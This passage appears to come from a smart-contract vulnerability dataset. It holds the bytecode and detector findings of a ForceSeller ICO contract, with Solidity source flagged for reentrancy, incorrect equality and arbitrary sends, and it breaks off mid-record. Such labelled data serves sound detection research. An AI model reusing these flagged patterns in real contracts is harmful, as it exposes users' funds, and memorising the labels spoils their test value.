cc819985a5b60c21b604482015260640161038b565b505050505050505050565b80356001600160a01b038116811461104057600080fd5b919050565b8051801515811461104057600080fd5b60006020828403121561106757600080fd5b61107082611029565b9392505050565b60006020828403121561108957600080fd5b61107082611045565b6000806000606084860312156110a757600080fd5b8335925060208401356110b9816112b2565b91506110c760408501611029565b90509250925092565b6000602082840312156110e257600080fd5b8135611070816112b2565b6000806040838503121561110057600080fd5b823561110b816112b2565b915061111960208401611029565b90509250929050565b60008060006060848603121561113757600080fd5b8335611142816112b2565b925060208401356110b9816112b2565b60008060008060008060c0878903121561116b57600080fd5b865160ff8116811461117c57600080fd5b602088015190965061118d816112b2565b604088015190955061119e816112b2565b93506111ac60608801611045565b92506111ba60808801611045565b915060a087015190509295509295509295565b60208082526012908201527157726f6e672074696d65206f7220646f6e6560701b604082015260600190565b6000821982111561120c5761120c61129c565b500190565b60006001600160401b038083168185168083038211156112335761123361129c565b01949350505050565b60008261125957634e487b7160e01b600052601260045260246000fd5b500490565b6000828210156112705761127061129c565b500390565b60006001600160401b03808316818114156112925761129261129c565b6001019392505050565b634e487b7160e01b600052601160045260246000fd5b6001600160401b03811681146112c757600080fd5b5056fea26469706673582212202fa9662b61d51b26542cf7788242be5384385667baf9ef36d22037b26f0aa04f64736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 182 |
0x23f9fae90551764955e20c0e9c349a2811a3e0f9 | pragma solidity 0.4.21;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint a, uint b) internal pure returns (uint) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
}
interface ForceToken {
function totalSupply() external view returns (uint);
function balanceOf(address _owner) external view returns (uint);
function serviceTransfer(address _from, address _to, uint _value) external returns (bool);
function transfer(address _to, uint _value) external returns (bool);
function approve(address _spender, uint _value) external returns (bool);
function allowance(address _owner, address _spender) external view returns (uint);
function transferFrom(address _from, address _to, uint _value) external returns (bool);
function holders(uint _id) external view returns (address);
function holdersCount() external view returns (uint);
}
contract Ownable {
address public owner;
address public DAO; // DAO contract
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address _owner) public onlyMasters {
owner = _owner;
}
function setDAO(address newDAO) public onlyMasters {
DAO = newDAO;
}
modifier onlyMasters() {
require(msg.sender == owner || msg.sender == DAO);
_;
}
}
contract ForceSeller is Ownable {
using SafeMath for uint;
ForceToken public forceToken;
uint public currentRound;
uint public tokensOnSale;// current tokens amount on sale
uint public reservedTokens;
uint public reservedFunds;
uint public minSalePrice = 1000000000000000;
uint public recallPercent = 80;
string public information; // info
struct Participant {
uint index;
uint amount;
uint value;
uint change;
bool needReward;
bool needCalc;
}
struct ICO {
uint startTime;
uint finishTime;
uint weiRaised;
uint change;
uint finalPrice;
uint rewardedParticipants;
uint calcedParticipants;
uint tokensDistributed;
uint tokensOnSale;
uint reservedTokens;
mapping(address => Participant) participants;
mapping(uint => address) participantsList;
uint totalParticipants;
bool active;
}
mapping(uint => ICO) public ICORounds; // past ICOs
event ICOStarted(uint round);
event ICOFinished(uint round);
event Withdrawal(uint value);
event Deposit(address indexed participant, uint value, uint round);
event Recall(address indexed participant, uint value, uint round);
modifier whenActive(uint _round) {
ICO storage ico = ICORounds[_round];
require(ico.active);
_;
}
modifier whenNotActive(uint _round) {
ICO storage ico = ICORounds[_round];
require(!ico.active);
_;
}
modifier duringRound(uint _round) {
ICO storage ico = ICORounds[_round];
require(now >= ico.startTime && now <= ico.finishTime);
_;
}
function ForceSeller(address _forceTokenAddress) public {
forceToken = ForceToken(_forceTokenAddress);
}
/**
* @dev set public information
*/
function setInformation(string _information) external onlyMasters {
information = _information;
}
/**
* @dev set 4TH token address
*/
function setForceContract(address _forceTokenAddress) external onlyMasters {
forceToken = ForceToken(_forceTokenAddress);
}
/**
* @dev set recall percent for participants
*/
function setRecallPercent(uint _recallPercent) external onlyMasters {
recallPercent = _recallPercent;
}
/**
* @dev set minimal token sale price
*/
function setMinSalePrice(uint _minSalePrice) external onlyMasters {
minSalePrice = _minSalePrice;
}
// start new ico, duration in seconds
function startICO(uint _startTime, uint _duration, uint _amount) external whenNotActive(currentRound) onlyMasters {
currentRound++;
// first ICO - round = 1
ICO storage ico = ICORounds[currentRound];
ico.startTime = _startTime;
ico.finishTime = _startTime.add(_duration);
ico.active = true;
tokensOnSale = forceToken.balanceOf(address(this)).sub(reservedTokens);
//check if tokens on balance not enough, make a transfer
if (_amount > tokensOnSale) {
//TODO ? maybe better make before transfer from owner (DAO)
// be sure needed amount exists at token contract
require(forceToken.serviceTransfer(address(forceToken), address(this), _amount.sub(tokensOnSale)));
tokensOnSale = _amount;
}
// reserving tokens
ico.tokensOnSale = tokensOnSale;
reservedTokens = reservedTokens.add(tokensOnSale);
emit ICOStarted(currentRound);
}
function() external payable whenActive(currentRound) duringRound(currentRound) {
require(msg.value >= currentPrice());
ICO storage ico = ICORounds[currentRound];
Participant storage p = ico.participants[msg.sender];
uint value = msg.value;
// is it new participant?
if (p.index == 0) {
p.index = ++ico.totalParticipants;
ico.participantsList[ico.totalParticipants] = msg.sender;
p.needReward = true;
p.needCalc = true;
}
p.value = p.value.add(value);
ico.weiRaised = ico.weiRaised.add(value);
reservedFunds = reservedFunds.add(value);
emit Deposit(msg.sender, value, currentRound);
}
// refunds participant if he recall their funds
function recall() external whenActive(currentRound) duringRound(currentRound) {
ICO storage ico = ICORounds[currentRound];
Participant storage p = ico.participants[msg.sender];
uint value = p.value;
require(value > 0);
//deleting participant from list
ico.participants[ico.participantsList[ico.totalParticipants]].index = p.index;
ico.participantsList[p.index] = ico.participantsList[ico.totalParticipants];
delete ico.participantsList[ico.totalParticipants--];
delete ico.participants[msg.sender];
//reduce weiRaised
ico.weiRaised = ico.weiRaised.sub(value);
reservedFunds = reservedFunds.sub(value);
msg.sender.transfer(valueFromPercent(value, recallPercent));
emit Recall(msg.sender, value, currentRound);
}
//get current token price
function currentPrice() public view returns (uint) {
ICO storage ico = ICORounds[currentRound];
uint salePrice = tokensOnSale > 0 ? ico.weiRaised.div(tokensOnSale) : 0;
return salePrice > minSalePrice ? salePrice : minSalePrice;
}
// allows to participants reward their tokens from the current round
function reward() external {
rewardRound(currentRound);
}
// allows to participants reward their tokens from the specified round
function rewardRound(uint _round) public whenNotActive(_round) {
ICO storage ico = ICORounds[_round];
Participant storage p = ico.participants[msg.sender];
require(p.needReward);
p.needReward = false;
ico.rewardedParticipants++;
if (p.needCalc) {
p.needCalc = false;
ico.calcedParticipants++;
p.amount = p.value.div(ico.finalPrice);
p.change = p.value % ico.finalPrice;
reservedFunds = reservedFunds.sub(p.value);
if (p.change > 0) {
ico.weiRaised = ico.weiRaised.sub(p.change);
ico.change = ico.change.add(p.change);
}
} else {
//assuming participant was already calced in calcICO
ico.reservedTokens = ico.reservedTokens.sub(p.amount);
if (p.change > 0) {
reservedFunds = reservedFunds.sub(p.change);
}
}
ico.tokensDistributed = ico.tokensDistributed.add(p.amount);
ico.tokensOnSale = ico.tokensOnSale.sub(p.amount);
reservedTokens = reservedTokens.sub(p.amount);
if (ico.rewardedParticipants == ico.totalParticipants) {
reservedTokens = reservedTokens.sub(ico.tokensOnSale);
ico.tokensOnSale = 0;
}
//token transfer
require(forceToken.transfer(msg.sender, p.amount));
if (p.change > 0) {
//transfer change
msg.sender.transfer(p.change);
}
}
// finish current round
function finishICO() external whenActive(currentRound) onlyMasters {
ICO storage ico = ICORounds[currentRound];
//avoid mistake with date in a far future
//require(now > ico.finishTime);
ico.finalPrice = currentPrice();
tokensOnSale = 0;
ico.active = false;
if (ico.totalParticipants == 0) {
reservedTokens = reservedTokens.sub(ico.tokensOnSale);
ico.tokensOnSale = 0;
}
emit ICOFinished(currentRound);
}
// calculate participants in ico round
function calcICO(uint _fromIndex, uint _toIndex, uint _round) public whenNotActive(_round == 0 ? currentRound : _round) onlyMasters {
ICO storage ico = ICORounds[_round == 0 ? currentRound : _round];
require(ico.totalParticipants > ico.calcedParticipants);
require(_toIndex <= ico.totalParticipants);
require(_fromIndex > 0 && _fromIndex <= _toIndex);
for(uint i = _fromIndex; i <= _toIndex; i++) {
address _p = ico.participantsList[i];
Participant storage p = ico.participants[_p];
if (p.needCalc) {
p.needCalc = false;
p.amount = p.value.div(ico.finalPrice);
p.change = p.value % ico.finalPrice;
reservedFunds = reservedFunds.sub(p.value);
if (p.change > 0) {
ico.weiRaised = ico.weiRaised.sub(p.change);
ico.change = ico.change.add(p.change);
//reserving
reservedFunds = reservedFunds.add(p.change);
}
ico.reservedTokens = ico.reservedTokens.add(p.amount);
ico.calcedParticipants++;
}
}
//if last, free all unselled tokens
if (ico.calcedParticipants == ico.totalParticipants) {
reservedTokens = reservedTokens.sub(ico.tokensOnSale.sub(ico.reservedTokens));
ico.tokensOnSale = ico.reservedTokens;
}
}
// get value percent
function valueFromPercent(uint _value, uint _percent) internal pure returns (uint amount) {
uint _amount = _value.mul(_percent).div(100);
return (_amount);
}
// available funds to withdraw
function availableFunds() external view returns (uint amount) {
return address(this).balance.sub(reservedFunds);
}
//get ether amount payed by participant in specified round
function participantRoundValue(address _address, uint _round) external view returns (uint) {
ICO storage ico = ICORounds[_round == 0 ? currentRound : _round];
Participant storage p = ico.participants[_address];
return p.value;
}
//get token amount rewarded to participant in specified round
function participantRoundAmount(address _address, uint _round) external view returns (uint) {
ICO storage ico = ICORounds[_round == 0 ? currentRound : _round];
Participant storage p = ico.participants[_address];
return p.amount;
}
//is participant rewarded in specified round
function participantRoundRewarded(address _address, uint _round) external view returns (bool) {
ICO storage ico = ICORounds[_round == 0 ? currentRound : _round];
Participant storage p = ico.participants[_address];
return !p.needReward;
}
//is participant calculated in specified round
function participantRoundCalced(address _address, uint _round) external view returns (bool) {
ICO storage ico = ICORounds[_round == 0 ? currentRound : _round];
Participant storage p = ico.participants[_address];
return !p.needCalc;
}
//get participant's change in specified round
function participantRoundChange(address _address, uint _round) external view returns (uint) {
ICO storage ico = ICORounds[_round == 0 ? currentRound : _round];
Participant storage p = ico.participants[_address];
return p.change;
}
// withdraw available funds from contract
function withdrawFunds(address _to, uint _value) external onlyMasters {
require(address(this).balance.sub(reservedFunds) >= _value);
_to.transfer(_value);
emit Withdrawal(_value);
}
} | 0x60606040526004361061018b576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806315a55347146103ea5780631c4b0da614610413578063228cb733146104365780633eda009b1461044b57806346fcff4c1461046e5780634774d9ea14610497578063509c5df6146104f157806357241f8e1461051a5780635950d395146105435780635addc5401461056c5780635ca11c34146105c15780635fab11a5146105ea5780638a19c8bc1461061f5780638da5cb5b1461064857806391d1d7b11461069d57806398fabd3a146107255780639d1b464a1461077a578063afce6e02146107a3578063b804dc56146107f9578063bd6e5e031461081c578063c107532914610851578063c4561d6114610893578063caca39ca146108a8578063d4270d60146108fe578063d7ffbbaa14610913578063d81b102014610941578063e73a914c1461097a578063ed78f1c7146109b3578063f2fde38b14610a09578063f47b774014610a42578063fd972fed14610ad0575b60008060006003546000600a6000838152602001908152602001600020905080600d0160009054906101000a900460ff1615156101c757600080fd5b6003546000600a60008381526020019081526020016000209050806000015442101580156101f9575080600101544211155b151561020457600080fd5b61020c610b2a565b341015151561021a57600080fd5b600a60006003548152602001908152602001600020965086600a0160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002095503494506000866000015414156103305786600c016000815460010191905081905586600001819055503387600b01600089600c0154815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060018660040160006101000a81548160ff02191690831515021790555060018660040160016101000a81548160ff0219169083151502179055505b610347858760020154610b8d90919063ffffffff16565b8660020181905550610366858860020154610b8d90919063ffffffff16565b876002018190555061038385600654610b8d90919063ffffffff16565b6006819055503373ffffffffffffffffffffffffffffffffffffffff167f90890809c654f11d6e72a28fa60149770a0d11ec6c92319d6ceb2bb0a4ea1a1586600354604051808381526020018281526020019250505060405180910390a250505050505050005b34156103f557600080fd5b6103fd610bab565b6040518082815260200191505060405180910390f35b341561041e57600080fd5b6104346004808035906020019091905050610bb1565b005b341561044157600080fd5b610449610c6e565b005b341561045657600080fd5b61046c6004808035906020019091905050610c7b565b005b341561047957600080fd5b61048161108c565b6040518082815260200191505060405180910390f35b34156104a257600080fd5b6104d7600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506110bf565b604051808215151515815260200191505060405180910390f35b34156104fc57600080fd5b610504611149565b6040518082815260200191505060405180910390f35b341561052557600080fd5b61052d61114f565b6040518082815260200191505060405180910390f35b341561054e57600080fd5b610556611155565b6040518082815260200191505060405180910390f35b341561057757600080fd5b61057f61115b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156105cc57600080fd5b6105d4611181565b6040518082815260200191505060405180910390f35b34156105f557600080fd5b61061d6004808035906020019091908035906020019091908035906020019091905050611187565b005b341561062a57600080fd5b610632611596565b6040518082815260200191505060405180910390f35b341561065357600080fd5b61065b61159c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156106a857600080fd5b6106be60048080359060200190919050506115c1565b604051808d81526020018c81526020018b81526020018a8152602001898152602001888152602001878152602001868152602001858152602001848152602001838152602001821515151581526020019c5050505050505050505050505060405180910390f35b341561073057600080fd5b61073861162e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561078557600080fd5b61078d610b2a565b6040518082815260200191505060405180910390f35b34156107ae57600080fd5b6107e3600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611654565b6040518082815260200191505060405180910390f35b341561080457600080fd5b61081a60048080359060200190919050506116d0565b005b341561082757600080fd5b61084f600480803590602001909190803590602001909190803590602001909190505061178d565b005b341561085c57600080fd5b610891600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611b26565b005b341561089e57600080fd5b6108a6611c8e565b005b34156108b357600080fd5b6108e8600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611e3b565b6040518082815260200191505060405180910390f35b341561090957600080fd5b610911611eb7565b005b341561091e57600080fd5b61093f60048080359060200190820180359060200191909192905050612274565b005b341561094c57600080fd5b610978600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061233d565b005b341561098557600080fd5b6109b1600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612434565b005b34156109be57600080fd5b6109f3600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061252b565b6040518082815260200191505060405180910390f35b3415610a1457600080fd5b610a40600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506125a7565b005b3415610a4d57600080fd5b610a5561269d565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610a95578082015181840152602081019050610a7a565b50505050905090810190601f168015610ac25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415610adb57600080fd5b610b10600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061273b565b604051808215151515815260200191505060405180910390f35b6000806000600a600060035481526020019081526020016000209150600060045411610b57576000610b71565b610b7060045483600201546127c590919063ffffffff16565b5b90506007548111610b8457600754610b86565b805b9250505090565b6000808284019050838110151515610ba157fe5b8091505092915050565b60055481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610c595750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515610c6457600080fd5b8060078190555050565b610c79600354610c7b565b565b600080826000600a6000838152602001908152602001600020905080600d0160009054906101000a900460ff16151515610cb457600080fd5b600a6000868152602001908152602001600020935083600a0160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002092508260040160009054906101000a900460ff161515610d2957600080fd5b60008360040160006101000a81548160ff02191690831515021790555083600501600081548092919060010191905055508260040160019054906101000a900460ff1615610e595760008360040160016101000a81548160ff0219169083151502179055508360060160008154809291906001019190505550610dbd846004015484600201546127c590919063ffffffff16565b836001018190555083600401548360020154811515610dd857fe5b068360030181905550610dfa83600201546006546127e090919063ffffffff16565b600681905550600083600301541115610e5457610e28836003015485600201546127e090919063ffffffff16565b8460020181905550610e4b83600301548560030154610b8d90919063ffffffff16565b84600301819055505b610eaa565b610e74836001015485600901546127e090919063ffffffff16565b8460090181905550600083600301541115610ea957610ea283600301546006546127e090919063ffffffff16565b6006819055505b5b610ec583600101548560070154610b8d90919063ffffffff16565b8460070181905550610ee8836001015485600801546127e090919063ffffffff16565b8460080181905550610f0983600101546005546127e090919063ffffffff16565b60058190555083600c015484600501541415610f4957610f3884600801546005546127e090919063ffffffff16565b600581905550600084600801819055505b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb3385600101546040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561101157600080fd5b5af1151561101e57600080fd5b50505060405180519050151561103357600080fd5b600083600301541115611085573373ffffffffffffffffffffffffffffffffffffffff166108fc84600301549081150290604051600060405180830381858888f19350505050151561108457600080fd5b5b5050505050565b60006110ba6006543073ffffffffffffffffffffffffffffffffffffffff16316127e090919063ffffffff16565b905090565b6000806000600a60008086146110d557856110d9565b6003545b8152602001908152602001600020915081600a0160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090508060040160019054906101000a900460ff16159250505092915050565b60065481565b60045481565b60085481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60075481565b60006003546000600a6000838152602001908152602001600020905080600d0160009054906101000a900460ff161515156111c157600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806112695750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561127457600080fd5b600360008154809291906001019190505550600a6000600354815260200190815260200160002092508583600001819055506112b98587610b8d90919063ffffffff16565b8360010181905550600183600d0160006101000a81548160ff0219169083151502179055506113c5600554600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15156113a057600080fd5b5af115156113ad57600080fd5b505050604051805190506127e090919063ffffffff16565b60048190555060045484111561152d57600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631ffa451c600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff163061144c600454896127e090919063ffffffff16565b6040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b151561150357600080fd5b5af1151561151057600080fd5b50505060405180519050151561152557600080fd5b836004819055505b600454836008018190555061154f600454600554610b8d90919063ffffffff16565b6005819055507fbb3084db57db328829d9290b877c67d4455a540ad3261951ab1db33165701c876003546040518082815260200191505060405180910390a1505050505050565b60035481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a60205280600052604060002060009150905080600001549080600101549080600201549080600301549080600401549080600501549080600601549080600701549080600801549080600901549080600c01549080600d0160009054906101000a900460ff1690508c565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000600a600080861461166a578561166e565b6003545b8152602001908152602001600020915081600a0160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020905080600301549250505092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806117785750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561178357600080fd5b8060088190555050565b600080600080600085146117a157846117a5565b6003545b6000600a6000838152602001908152602001600020905080600d0160009054906101000a900460ff161515156117da57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806118825750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561188d57600080fd5b600a600080891461189e57886118a2565b6003545b81526020019081526020016000209550856006015486600c01541115156118c857600080fd5b85600c015488111515156118db57600080fd5b6000891180156118eb5750878911155b15156118f657600080fd5b8894505b8785111515611ac85785600b01600086815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16935085600a0160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002092508260040160019054906101000a900460ff1615611abb5760008360040160016101000a81548160ff0219169083151502179055506119cd866004015484600201546127c590919063ffffffff16565b8360010181905550856004015483600201548115156119e857fe5b068360030181905550611a0a83600201546006546127e090919063ffffffff16565b600681905550600083600301541115611a8357611a38836003015487600201546127e090919063ffffffff16565b8660020181905550611a5b83600301548760030154610b8d90919063ffffffff16565b8660030181905550611a7c8360030154600654610b8d90919063ffffffff16565b6006819055505b611a9e83600101548760090154610b8d90919063ffffffff16565b866009018190555085600601600081548092919060010191905055505b84806001019550506118fa565b85600c015486600601541415611b1b57611b07611af6876009015488600801546127e090919063ffffffff16565b6005546127e090919063ffffffff16565b600581905550856009015486600801819055505b505050505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611bce5750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515611bd957600080fd5b80611c066006543073ffffffffffffffffffffffffffffffffffffffff16316127e090919063ffffffff16565b10151515611c1357600080fd5b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515611c5357600080fd5b7f4e70a604b23a8edee2b1d0a656e9b9c00b73ad8bb1afc2c59381ee9f69197de7816040518082815260200191505060405180910390a15050565b60006003546000600a6000838152602001908152602001600020905080600d0160009054906101000a900460ff161515611cc757600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611d6f5750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515611d7a57600080fd5b600a600060035481526020019081526020016000209250611d99610b2a565b83600401819055506000600481905550600083600d0160006101000a81548160ff021916908315150217905550600083600c01541415611dfd57611dec83600801546005546127e090919063ffffffff16565b600581905550600083600801819055505b7f26a7f076f7a6359b12b3782dd468967b1ccaed2507021aef89e63582f04c49fd6003546040518082815260200191505060405180910390a1505050565b6000806000600a6000808614611e515785611e55565b6003545b8152602001908152602001600020915081600a0160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020905080600101549250505092915050565b60008060006003546000600a6000838152602001908152602001600020905080600d0160009054906101000a900460ff161515611ef357600080fd5b6003546000600a6000838152602001908152602001600020905080600001544210158015611f25575080600101544211155b1515611f3057600080fd5b600a60006003548152602001908152602001600020965086600a0160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020955085600201549450600085111515611fa057600080fd5b856000015487600a01600089600b0160008b600c0154815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000018190555086600b01600088600c0154815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1687600b0160008860000154815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555086600b01600088600c0160008154809291906001900391905055815260200190815260200160002060006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905586600a0160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000808201600090556001820160009055600282016000905560038201600090556004820160006101000a81549060ff02191690556004820160016101000a81549060ff021916905550506121a58588600201546127e090919063ffffffff16565b87600201819055506121c2856006546127e090919063ffffffff16565b6006819055503373ffffffffffffffffffffffffffffffffffffffff166108fc6121ee876008546127f9565b9081150290604051600060405180830381858888f19350505050151561221357600080fd5b3373ffffffffffffffffffffffffffffffffffffffff167fe198e7253201f6223bfeaa3665ff143b0a0e4c381a809fdb8ce365ceefbd308086600354604051808381526020018281526020019250505060405180910390a250505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061231c5750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561232757600080fd5b818160099190612338929190612869565b505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806123e55750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156123f057600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806124dc5750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156124e757600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000806000600a60008086146125415785612545565b6003545b8152602001908152602001600020915081600a0160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020905080600201549250505092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061264f5750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561265a57600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156127335780601f1061270857610100808354040283529160200191612733565b820191906000526020600020905b81548152906001019060200180831161271657829003601f168201915b505050505081565b6000806000600a60008086146127515785612755565b6003545b8152602001908152602001600020915081600a0160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090508060040160009054906101000a900460ff16159250505092915050565b60008082848115156127d357fe5b0490508091505092915050565b60008282111515156127ee57fe5b818303905092915050565b6000806128226064612814858761282e90919063ffffffff16565b6127c590919063ffffffff16565b90508091505092915050565b60008060008414156128435760009150612862565b828402905082848281151561285457fe5b0414151561285e57fe5b8091505b5092915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106128aa57803560ff19168380011785556128d8565b828001600101855582156128d8579182015b828111156128d75782358255916020019190600101906128bc565b5b5090506128e591906128e9565b5090565b61290b91905b808211156129075760008160009055506001016128ef565b5090565b905600a165627a7a72305820be658cbd39f977f7ee81fcbd380d6ecf5600321c2cc238da44122d1375825b250029 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", 